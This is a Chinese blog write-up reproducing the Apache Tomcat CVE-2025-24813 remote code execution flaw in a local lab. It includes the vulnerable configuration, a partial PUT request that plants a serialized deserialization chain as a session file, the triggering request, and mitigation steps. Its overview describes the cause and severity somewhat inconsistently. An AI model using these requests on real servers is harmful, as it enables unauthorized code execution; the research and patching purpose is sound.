CVE-2025-24813:Apache Tomcat远程代码执行漏洞

admin 2025年4月2日23:06:09评论37 views字数 3222阅读10分44秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!作者:Howell@Timeline Sec 本文字数:3141 阅读时长:2~4mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负 

0x01 简介

Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。

0x02 漏洞概述

漏洞编号:CVE-2025-24813CVE-2025-24813 是一个高危逻辑漏洞,该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。漏洞产生的根本原因是Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器‌。

0x03 利用条件

1)影响版本

  • 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

2)其他条件:

  • 满足以下条件,攻击者可以访问或修改安全敏感文件
    1. DefaultServlet 启用了写入权限(默认禁用)。
    2. 服务器启用了 partial PUT(默认启用)。
    3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)
    4. 攻击者已知目标敏感文件的路径以及文件名。
    5. 敏感文件是通过 partial PUT 上传的。
  • 满足以下条件,攻击者可以远程代码执行(RCE)
    1. DefaultServlet 启用了写入权限(默认禁用)。
    2. 服务器启用了partial PUT(默认启用)。
    3. Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
    4. 应用程序包含 可利用的反序列化漏洞库(如 Commons-Collections 3.x)。

0x04 环境搭建

安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!

在 JAVA 中国[1] 下载JAVA,并配置环境变量。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞
CVE-2025-24813:Apache Tomcat远程代码执行漏洞

在 Apache Tomcat[2] 下载对应漏洞版本的 Tomcat,并配置用户变量。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

打开 Tomcat 文件夹,在 conf/web.xml 中添加如下配置,开启 File 文件会话存储

CVE-2025-24813:Apache Tomcat远程代码执行漏洞
<Context><ManagerclassName="org.apache.catalina.session.PersistentManager"><StoreclassName="org.apache.catalina.session.FileStore"/></Manager></Context>

在 conf/web.xml 中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞
<servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet>

下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入  webappsROOTWEB-INF,在此路径下新建 lib 文件夹,将 CC 放入。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

启动 Tomcat,并访问 8080 端口,查看是否启动成功。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

0x05 漏洞复现

使用 yakit 抓包。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者 ysoseri-all.jar 也是可以的)。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞
PUT /poc/session HTTP/1.1Host: localhost:8080Content-Length: 1000Content-Range: bytes 0-1000/1200{{base64decode(反序列化文件内容)}}
在 HTTP 协议中,Content-Range 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。

发送成功后,在 Tomcat 根目录的 work/Catalina/localhost/ROOT 目录下会生成一个 .poc.session 文件。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞
使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录 workCatalinalocalhostROOT

然后发送触发 POC 的包即可。

CVE-2025-24813:Apache Tomcat远程代码执行漏洞
GET / HTTP/1.1Host: localhost:8080Cookie: JSESSIONID=.poc

成功弹出计算器!

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

0x06 修复方式

  1. 官方修复 Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。 Upgrade to Apache Tomcat 11.0.3 or later Upgrade to Apache Tomcat 10.1.35 or later Upgrade to Apache Tomcat 9.0.99 or late
  2. 临时缓解措施
    1. 禁用 DefaultServlet 写入功能:在 web.xml 中确保 readonly=true
    2. 禁用文件会话持久化:移除 context.xml 中的 PersistentManager 配置。
    3. 移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。

历史复现

CVE-2024-50379CVE-2020-1938

参考资料
[1] 

JAVA 中国: https://www.oracle.com/cn/java/technologies/downloads/

[2] 

Apache Tomcat: https://tomcat.apache.org/

CVE-2025-24813:Apache Tomcat远程代码执行漏洞

回复【加群】进入微信交流群回复【SRC群】进入SRC-QQ交流群回复【新人】领取新人学习指南资料回复【面试】获取渗透测试常见面试题

回复【手册】获取原创技术PDF手册

回复【合作】获取各类安全项目合作方式回复【帮会】付费加入SRC知识库学习回复培训】获取TimelineSec创办的实战课程

视频号:搜索TimelineSec,官方微博

团队官网:http://www.timelinesec.com

B站:https://space.bilibili.com/524591903

觉得有用就点个赞吧!
欢迎评论区留言讨论~
CVE-2025-24813:Apache Tomcat远程代码执行漏洞

原文始发于微信公众号(白帽子):CVE-2025-24813:Apache Tomcat远程代码执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月2日23:06:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-24813:Apache Tomcat远程代码执行漏洞https://cn-sec.com/archives/3892205.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息